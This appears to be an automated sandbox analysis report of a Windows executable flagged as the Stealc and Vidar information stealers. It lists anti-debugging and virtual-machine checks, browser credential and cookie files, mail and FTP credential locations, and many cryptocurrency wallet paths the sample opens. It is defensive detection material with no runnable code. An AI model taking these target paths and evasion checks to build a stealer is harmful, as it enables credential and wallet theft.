Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00334910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0032E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0032BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00333EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00333EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0032ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00334570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00334570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0032DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0032DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00321160 GetSystemInfo,ExitProcess,

0_2_00321160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: CBKJEGCB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: CBKJEGCB.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: CBKJEGCB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: CBKJEGCB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: CBKJEGCB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: CBKJEGCB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: CBKJEGCB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: CBKJEGCB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: CBKJEGCB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: CBKJEGCB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: CBKJEGCB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: CBKJEGCB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: CBKJEGCB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000002.2360250459.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware^
Source: CBKJEGCB.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: CBKJEGCB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: CBKJEGCB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: CBKJEGCB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: CBKJEGCB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: CBKJEGCB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58481
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58484
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59671
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58535
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58503
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58495

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_003245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_003245C0

Source: C:\Users\user\Desktop\file.exe

0_2_00339860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339750 mov eax, dword ptr fs:[00000030h]

0_2_00339750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00337850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00337850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1968, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00339600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00339600

Source: file.exe, file.exe, 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: \|f5$Program Manager
Source: file.exe, 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: o\|f5$Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00337B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00336920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00336920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00337850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00337850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00337A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00337A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2086620561.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1968, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
